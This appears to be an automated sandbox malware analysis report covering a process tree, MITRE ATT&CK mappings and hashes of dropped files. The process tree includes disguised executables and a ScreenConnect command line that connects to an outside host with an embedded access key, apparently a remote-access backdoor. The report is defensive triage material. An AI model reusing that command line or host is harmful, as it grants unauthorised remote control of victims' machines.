- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:912
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:17410 /prefetch:2
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:6124
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:17422 /prefetch:2
  2⤵
  PID:4680
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:82948 /prefetch:2
  2⤵
  PID:4844

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:260

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4416

C:\Windows\system32\wscript.exe
wscript
1⤵
PID:6268

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6848

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5616

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5660

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6868

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1668

C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe
C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe
1⤵
PID:3324

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6052

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6432

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6224

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4656
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4B5BDE25F81324FC36B432172DA51ABE
  2⤵
  PID:1840
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI7C02.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240877093 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:5856
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CE2711F8EF64342A5CDF6FFCFCAD9521 E Global\MSI0000
  2⤵
  PID:5952

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1652

C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cze-gua.com&p=8041&s=182bae90-a8cb-45c0-89f7-a23d2d35f360&k=BgIAAACkAABSU0ExAAgAAAEAAQBpRa0f%2bO54AYTAgjQmdJl%2fy2d1iqrZsvFSTr2UqxrI5CKgABJk6iJwdRTqoU0FKAzgSefW2b8nNpsnjx7U5IGQexdPJXZuxOENf%2br%2frwhX8ULooYpUc6UY8xhNwXY3jx44CCw6%2b1%2fwqShydYNirqGMWGJ2tO0HeaW81Le8cQbnr3WVi5Adak%2fGq0VSTruoT%2f8y4sDbabl%2fNU6Jm083l%2fbzY%2fXoavyTs%2fS4yFOqzSCq1yLNaKb913L5vWIjP%2bSfKz8ByAmdu%2fK8iqmwumg4pBOmWenh81VVPAMEnmUZ3764tHxXbZHQ7AA1IUrEdY%2brhxK%2bZkYxXAddjttbRws%2fV%2fXc"
1⤵
PID:2060
- C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe" "RunRole" "d3c916f3-ea19-4f7b-bf2d-b9590d7a3055" "User"
  2⤵
  PID:4772
- C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3c24ca6ad7af767c)\ScreenConnect.WindowsClient.exe" "RunRole" "55a3ad52-7f1a-43dd-b48a-ed3633dd764a" "System"
  2⤵
  PID:4512

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:716

C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe
"C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe"
1⤵
PID:2820
- C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe
  "C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe"
  2⤵
  PID:3396
- C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe
  "C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe"
  2⤵
  PID:6492
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2820 -s 708
  2⤵
  - Program crash
  PID:2684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2820 -ip 2820
1⤵
PID:3392

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2548

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4852

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7992

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5596

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Modify Authentication Process

T1556

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5b785c.rbs

Path C:\Config.Msi\e5b785c.rbs
Size 214KB
SHA256 e780a9286989cb6234e5300aa581c190e3411e124fea46b0de98ed9e560ec926
MD5 3d25b8a94343d31591f6d2167f94410a
SHA1 9abfded42d87e66d9a27481be5179b42d8d201eb
SHA512 95e2368836c68be16dcfa1f11bbce892c712dd70232dc0647c04c01cfee7ad41b1375fb5c5a8792b41144dd3b561378bbdd6e5133fd7d90dc743de40555adacd
SSDEEP 3072:t/9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG/:t/uH2aCGw1ST1wQLdqv/
TLSH
T1D6248C227480807EE7FA1A32D93F9A71BE7DF6241760C59E83848C1E5D644C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NewkeyLauncher.exe

Path C:\INDESK\NewkeyLauncher.exe
Size 4.7MB
SHA256 72dfb58e4fee383de6ec263501fbcd9592046a5f091a9ddb9b8dd9aabbeeed18
MD5 13a04bc91f7b2bc4e6078387b70d9c19
SHA1 3c83251c6de566ab4d0d4d34b1fc850d740b43cf
SHA512 c805b2d1cad8cafb85bf100d68b1d419c811fbdddf565959a223148964305a239d80099d7815d978e3ccb43cd03837da70a0cb2254d66a06b809a06232fa6054
SSDEEP 49152:AMN4HQPaI4b76Rnz42VteFU0kwvEc/C0T6sSn5FMLGy0:A8kXb74ns2VteFU0bvt/xufn5FML
TLSH
T19636E9A2E155DC97F3D49538DD61E9FE43F17C7E8EF3817B3888B59CA2BA1212008A15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NewkeyManager.ini

Path C:\INDESK\NewkeyManager.ini
Size 4KB
SHA256 647219f4525bd36e9ba966746ebd0395c9af77f2f648ebdf2aab25bc4f37c9fc
MD5 c598afacca895e2d6afb2a20e7602d18
SHA1 ffd06edb4c1ad606e641fd6f1a4d797dd91a369c
SHA512 9f8e3c4c435ba2f55381348bc0807c75adbc7cb0211c5e61b96b36020a73534335b4dd3a8fbfc04dd66948c88603017a40161a43c0f7dd4edfdfb14c15048657
TLSH
T153818C08B26650EFC4D0C63A8907130F22E4AF914DEA52D3B26932644123E414F5E143
MD5 SHA1 SHA512 TLSH

Submit Download

Ds.exe

Path C:\Program Files (x86)\GoStar\Ds.exe
Size 1.3MB
SHA256 737c84c4368b7f5a6ae158162f2d8714b8ce39ea62ce442990c22bebced15337
MD5 828cc8d66afb5e7c3608bc9d1653ce67
SHA1 e25aa0253f1c1c6fc6d8b0129a2c9b1b8cc0608a
SHA512 3d0751ea887ef4dafa277dfdf24a1aae36cb13b711b790109771ed5b2ec8ebaf849d6a1ea405b7edcaac7c3d7655ad8cb8d8b00c4b1893906caf2bc98330b401
SSDEEP 24576:0okzS5HXOXJJD2qebkwa8XRakJ/NYCGtFIM7KyjUV:hkzSRX27etRai/NkIM7LoV
TLSH
T1DA557C483FE4AB26C26E073DC176592653F0D6056687E30F9A91F8B92C633149C8DB7B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Ds.exe

Path C:\Program Files (x86)\GoStar\Ds.exe
Size 1.2MB
SHA256 31990c2b0ee99b34d2545ca666508a3abaa659984128ca8fb09cc812e2c544cb
MD5 e945441c6e96cbce3f22b9217afc1e16
SHA1 b48f5ca9e937a4298c9d1746b17a5fc89c4aa4cf
SHA512 fcafb522ff05334a642c1d9bae285adb93a14d9e8fa080f0c67e429d94389bc8e85474155278a9ab03671eb38ebe6b406e22fa1fcd84f7aad338857e2a90c4cb
SSDEEP 24576:kdNs1YqPbaMKqtOuzkPVotmINWkDImhO5a4rNzmhQcJMgkg7ghlTMIg7xX5LZTvb:kskSYklI8gIL
TLSH
T172457B1927E8AE27D36F87B9C025853573B2C512A247FB1F1EA4FCF12C627519C09A87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Statistic.ini

Path C:\ProgramData\4399\GameLogin\Statistic.ini
Size 86B
SHA256 8923366848bb9c702906e793d9d7bdb12ed147671f150a1c41e9cec50ff89762
MD5 4164c3d05ae999204d869c4fede8eaf6
SHA1 ce636cdf038791745c225d0f7d14b27a94a23b08
SHA512 0e71a4599335f03d223a78c73ae65d23643c34605f7c68c1cfebcb26d8dd894974323100c34f7bc78b4b375cee93bdf6b90c7e076a0ee3088b92e3391e3ea496
TLSH
T17AA011008080022E8C3022CA022E0C0CA0880E22820823A3A3A22EA0EE08C0A203828A
MD5 SHA1 SHA512 TLSH

Submit Download

search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

Path C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
Size 4KB
SHA256 5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07
MD5 da597791be3b6e732f0bc8b20e38ee62
SHA1 1125c45d285c360542027d7554a5c442288974de
SHA512 d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e
SSDEEP 24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
TLSH
T1B9919C8A6AF4CD28CE621D24C53C52FD016BDE1DD19C2087D9E67F92323B96F91232C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 71c56c2da3ffafc58b1f9ac63f15cb6dac4fb1c8a79bff1256051cd303154397
MD5 6cc39d5307f7811ccb8fbf0ae6e905d0
SHA1 6e1f480619352392d31939f7da47f4d0ab05b678
SHA512 e57431313138020cbfad9b542f06329cc5ca06982d0e3aa7b1f35db81bc7c89d945c6de4b0b64332168aac077ed9ce59d0524e723369fe7784fbf6aba95444c1
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 9KB
SHA256 e84caedaa3c8aea85369a646c2498f1e7a3ea1c2d9f0116156fb12a6b740aa36
MD5 1dac91628529e791664d0b4974084ae7
SHA1 b5654b93f0792aabe068281ab25140e7139c527d
SHA512 11b6b0565cf2d243a9003c0455b118cd3f2b9c75fc4b8f33ccef44559bf984a5c84e03c94094942ce5ac5be37934d56504cb9b4d3d2f6e604d2b76527a13a184
SSDEEP 192:LRS8YJVv7ivAPRp2b9rHsb+WNnl625ZJVyIsnAUgR:LRS86lm6Xw5wc2DvR
TLSH
T12822621EA925797B6DDAD22AF92177A3E3F5102135E02E84EBFC8A2C14D75CC221B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 377214f648d46362e6b3ba61a4a35f0b3ece9941968bbbba3d2ad7ec28b97d19
MD5 7474e77ec98ad67b1de76a2bcb904b87
SHA1 1fd8aba26460037ff3c385d81628b3b905985258
SHA512 67e346a0f8465ab666ae21bc92d69708d4d803b8aee3da848c9b2e2d8e52bc6b8a6f9afb8c8f23fb839086bb7a9d160a743e211c885cb1bea9822ce51f955664
SSDEEP 192:e6F4K6Em7KxkXqK4I40pUZNCgVLHrKHfFKslEVSsXzKD/Li+ErUkKN++2n7DTe2:vFjzm7KxkXqKf/pUZNCgVLH2HfgsllsP
TLSH
T15C32E827944E5E7F4FD8D51CDC126F8BADF5029673780D2892FBAD0803A578A114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 826e78b4657cc9696d9d2828dcb7c45142dea402f0ceec547ae710ed1ee9e0f7
MD5 a7f6c44622cd69dc5dfc3ec713209a3d
SHA1 14f915899acab58e86ade4d14c41f233a4746b6c
SHA512 7c60f98706e856e338c124dde17d3385951dbe3f5327d9bb7b669444fa7eba11535474d1af2b85886171146888f72411565622191c1325f871214f53ba11369b
SSDEEP 96:NC0d+PTkblaRZiIEby3rUfsfuZ8IBGGVSl8h4otoZ45VFWD/B6BGyv4Y+mE1I07e:NC0cTkJaRZi/CF2l7iUzXQJxI+mEmWG3
TLSH
T173C10B31A4AD987369A2D596B4433D47CFF8326B79516E54DED90E0901EF19C2383523
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 ed8503baaa5e9a0dc9f0d96b3235ff21f718b26ca3a7b69f9c5b2b0d118a5e84
MD5 21fce454729995101e61af254ec84500
SHA1 d0ccb2390e5cecebd70e06314954dba2f512801f
SHA512 f4c77a636ac050335fbb30b03d87e934823ef7244fd078fc99b4fbf581fca657617d94031e47f5292b10834af4635b7ecb36cfb9d5670133cad4f2faeda26fd2
SSDEEP 96:TC0d+PTkblaRZiIEby3rUfsfuZ8IKGGxRDotok5VFAD/B6xGyv4YR5gLObETev4a:TC0cTkJaRZi/CF2lIDUDX2JZIR5gLObV
TLSH
T1AEA13A3264658DF76972D98AB4423A43CFB9723B7951AE84EDDD0E0C14FB0AC1342123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

web.4399[1].xml

Path C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\DOMStore\BBD7J0LJ\web.4399[1].xml
Size 13B
SHA256 b71e4d17274636b97179ba2d97c742735b6510eb54f22893d3a2daff2ceb28db
MD5 c1ddea3ef6bbef3e7060a1a9ad89e4c5
SHA1 35e3224fcbd3e1af306f2b6a2c6bbea9b0867966
SHA512 6be8cec7c862afae5b37aa32dc5bb45912881a3276606da41bf808a4ef92c318b355e616bf45a257b995520d72b7c08752c0be445dceade5cf79f73480910fed
MD5 SHA1 SHA512

Submit Download

imagestore.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\goslovo\imagestore.dat
Size 30KB
SHA256 56cc4c09bdf96c846b64632e3538fa2766f1dfa85d129490c34f939c1111b992
MD5 92187eade9c63af4e515d65c04e06bbe
SHA1 582f89e571d7f3854dfafe4275cecbbf521b8a32
SHA512 8ccafcf4008d83fb98b3fd3a75742df20e1e61bab0f5b04bd3b2305df72fe7e8e9ccc52fd0221da20340b75233d1b07e25ad59dcbacb7dcfde1a53fe2f9debe7
SSDEEP 192:2HpJ+vuFhC53qPFT/HWFmGfEoPTWIbVF6AHpJ+vuFhC53qPFT/H2FmGfEoPTWIbu:u+/5iWFmGfSIbbv+/5i2FmGfSIbbS
TLSH
T1A9D25353095AEE8BE3AF3B3E1196C0A1D9D9CE71CA518061EFCC3168D6BF548041B63E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
Size 6.0MB
SHA256 8280a51489db08b008bc0d14cb37f83abacbb009c82618e7f81e5363af701851
MD5 8e8b778e15e92a57e60f874764e71ca5
SHA1 5ee29b20b6d534ddd8a6cedf11967422ae074f61
SHA512 cdee77e9c755449005143097a979b862d259556c87b8b85726a7461f8e63a7fcb454f27bf02efa3d732b8051481e0326482d5332b796bd913db1b02ae7849994
SSDEEP 98304:3QiFytO1s/YLceSxJAyJh3ETWvR/2uWujfoTcBqNUK:3zFytO1s/ihSxJAyJh3E5uBO
TLSH
T19756CE276D555453E41DC4BAE392562553B0EF3F2581CAE32040BBB178E23E4FAADF88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jquery[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4FVZK6D8\jquery[1].js
Size 92KB
SHA256 47b68dce8cb6805ad5b3ea4d27af92a241f4e29a5c12a274c852e4346a0500b4
MD5 b8d64d0bc142b3f670cc0611b0aebcae
SHA1 abcd2ba13348f178b17141b445bc99f1917d47af
SHA512 a684abbe37e8047c55c394366b012cc9ae5d682d29d340bc48a37be1a549aeced72de6408bedfed776a14611e6f3374015b236fbf49422b2982ef18125ff47dc
SSDEEP 1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
TLSH
T1B393E7D9B2D67123C7B731B850AF510BB17698AA784C8C50F068D8E4BE74A48907BF7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

login2022v1.0.0[2].css

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\4FVZK6D8\login2022v1.0.0[2].css
Size 22KB
SHA256 d9e2c1caf4f50763ffe23ec23197e6829c978f32f2f340ed98de358d3556f214
MD5 58607569c358d3bb0bcdf852283120fa
SHA1 d650a98a6c5f5d2eb4a6049c25250d521378cbb5
SHA512 e7bbbb9c2890a862d2fc9da69566bc9d95b101b09a9b131b3847f03c328adf72d7ae15c78910f3618df3d6073e55646aba762c13250b037cb025ecb3b117054a
SSDEEP 192:swHAKZ+5Zw2XRid3VImqtnR9gxAoGG2NjvjAGzTs+s3ta/dd:sJnEJVIm07Wed
TLSH
T11AB25D348555200DB52BD261F4E0ABBA233C8143AA230FAFD96A7A6BD7C76CD15333C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

about_user[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ORJBYL4S\about_user[1].js
Size 10KB
SHA256 1bce4901e64528579e49c3e66de0f567ed1b6ef7ee7924b307125e5f5fffd721
MD5 ce3a97f76cbc17dc4955b04e64e6232a
SHA1 5ffdf2917f312af181de907d6f2e30d9dee9913b
SHA512 5b268abf3deb674562a83c57cce62df4433bd0178a4cff62237b35cdaaf7f7d7b5265de554d9853529e26a7204a5d1064921760ed00d331a92f447b9163e7fcd
SSDEEP 192:HdePK+u3TPGYXtF5QY7Sv20WA4O586OdqV8ecVqWjjGD8:9crCTXXqNV8eiuD8
TLSH
T16822E20AB6D734619023B47E6F2FA00A227A904B180EFE557DBC27C41F8457D58B1EF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ORJBYL4S\action[1].js
Size 126KB
SHA256 edf73e565b23e92064fbd57635af3161c812e738045badd87531478c5fbea6c4
MD5 4072e26f164959691980cba05dbf8904
SHA1 8fb686da7062fbdeabfe98666312ab4ab4a9cdbe
SHA512 2d2bdec58e1ccf7f9cc1baa2c9dd280715fdb99cb76e33bc61bdff247536456086227363b051579487492d798e49a73810032501b0ba926ebefc3172a57ecfc9
SSDEEP 768:klzgzTojXgSrGdhaGPPkZL0frZ5+BuQEnucGqB3KQxv5EJgCwNc216s3ILQon5mz:KjXgMvrQucTKgH6s3jCD2
TLSH
T138C3C55965BB2452D073B03E2BAF2004327DF4274889DD087E6C53A46F94E1A67B6FEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favicon[1].ico

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ORJBYL4S\favicon[1].ico
Size 14KB
SHA256 403b28fa1575ee7f9b87a6e24a011e4fb3789c9873b07128f74c09db00606154
MD5 4f071128ef7ee2df2ac68825044c0c30
SHA1 43288c00b62884ba28d642aa7708750a8b2180a2
SHA512 a44d45ae12231dfe4f64bde572da8921d3b05d026bd9587968c22d3095be86f8d99a900b56f8c7317f262b1a4e8c82fa40e0c003a8b500e1d79cdd19cd5156a9
SSDEEP 192:j/HpJ+vuFhC53qPFT/HzFmGfEoPTWIbVF6:j7+/5izFmGfSIbb
TLSH
T111623153495AFE8BE3AF3B3E2196C0A1D5C9CE71CA518061EFC83168D6BF548041B63E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

suggestions[1].en-US

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ORJBYL4S\suggestions[1].en-US
Size 17KB
SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
MD5 5a34cb996293fde2cb7a4ac89587393a
SHA1 3c96c993500690d1a77873cd62bc639b3a10653f
SHA512 e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee
SSDEEP 384:K4gN8sGygaEKfWYSJUKbO7UckxtBjCdY7mO3D0C5l+piEieDSV126ry1/XSGKwG3:K4gNFXiKfWfJ1Kockxbd7mAt5Mp5ie2F
TLSH
T13A823E4E61D88F57EA47B6B2D9084EA702E0C8794716DB93D62CFE63CDE33B25D02161
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

util[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ORJBYL4S\util[1].js
Size 6KB
SHA256 61b371bb1087991d7fcaf5318c5da176eed56af739fac3de9424c82407242426
MD5 529ee80079a878d879f1d07c1511d5ae
SHA1 abf3f28aabb48f178f275da88a3e2d9b71cda143
SHA512 77583559760ce3ba78f47f49811cef4ca81641bed8f8d26ef90b22954395cae218dc64de40b2147e6e001d1aacfdcf064aad8ff0ae6853c6dd412075df71372d
SSDEEP 192:z4BY8LQ3ez8xJwQKhVC8cuyJrQFtt0DLrFa+mF40VyxmE:z4bYeYDwQKhVtcuyJrwI
TLSH
T18CE1C65E718278A987EB61B0537FD606FA3AC473895C5021C4A2C5E43E74C87813FF69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OVKU0K2R\events[1].js
Size 3KB
SHA256 6033f829e9c541d25e2d4565bd9627f2faa57b87205624c3931af715df75e31e
MD5 d6bd66ebc8b27d0c8a7be36e11413d12
SHA1 e4163ff4330f1f8c07f92cf18a9d06dd639a35d5
SHA512 bcfd14fdf2c525b666490aa2e34e57fe9a8caa51dc7bcfde958c1072d6b63bba935f21a308c0dd0d19cebb4ea2dd09a606ec67f624bfa18e28871f57ddc89887
TLSH
T18451F0CD2359007596EA936FB63BA743E031D7DA340894683604FDFE4A79D098853FAA
MD5 SHA1 SHA512 TLSH

Submit Download

gb_header[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OVKU0K2R\gb_header[1].js
Size 12KB
SHA256 7c1a8c85a9cd5ebb6a047a24ba42becee175e30ca028e6ef81357a57877f7673
MD5 c91f8e9cfd5e4dab7a4f5f22e224caa8
SHA1 31777e83c51fda071f852cfc22555463cb729e2d
SHA512 30781f92570603e479c9999880d939da9ac838bc7a7ff59f810c94f8a135d3d7149dfd1aeec5cbbb1d81b77d74d1f1d0c51fb76cf30706688bf96f747cd565f7
SSDEEP 192:w0aOtKFuH/yduIBOMOzUsxJ4zt9d7qL0lKg4/e1kPH25RRz+EjEYnyZ:50uH/ydRBOvzUszOlrgWA
TLSH
T16142B644FF9D64AB8436F05D5A1E90CDE93EA17248498C27BCAC88285CE4E3E335D97D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sideLogin[1].js

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OVKU0K2R\sideLogin[1].js
Size 4KB
SHA256 5fd94a4c3c30031fbed97dd875f3a8d596b037ff019bab99f3a94957144a8159
MD5 abcd8d7ba23c56743ebf14f62665d407
SHA1 fc7c124e6a8b0cf590c58699d12a4f260721a69c
SHA512 805b4ce2f39be1af892e0cabe4d1d74e08731db55fa6fdbfb4e90cad075bd12d25e4803369f3cade8ca49a1619a5d6e6c8f0b7d2d3c9fcc9ed96d2288ec14f01
SSDEEP 96:t4lHCoVrU5srH5JpAGXxSddYErE/tlb0DTj/LyXBdasR:t4l/rU5yH5fAGXxEdYqmGDTy4sR
TLSH
T11E812407F73DA9A3A4BF2078253A41C1657E82349C878E756CB7227C5CB4B1D6A12C7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

public_inter_action[1].js

